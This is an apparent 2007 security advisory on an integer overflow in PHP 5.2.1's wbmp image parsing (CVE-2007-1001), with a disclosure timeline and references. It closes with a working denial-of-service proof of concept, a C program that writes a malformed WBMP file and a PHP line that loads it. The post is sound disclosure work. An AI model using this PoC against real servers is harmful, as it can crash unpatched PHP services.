Saturday, April 7, 2007

PHP <= 5.2.1 wbmp file handling integer overflow

There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height > 2^32, an integer overflow occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height, sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.

References

http://www.php.net/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001
http://www.frsirt.com/english/advisories/2007/1269

PoC

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
int c;
char buf[BUFSIZE];

FILE *fp = fopen("test.wbmp","w");

//write header
c = 0;
fputc(c,fp);
fputc(c,fp);

//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);

//write height = 4
c = 0x04;
fputc(c,fp);

//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);

fclose(fp);
}


<?php
$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs
?>?

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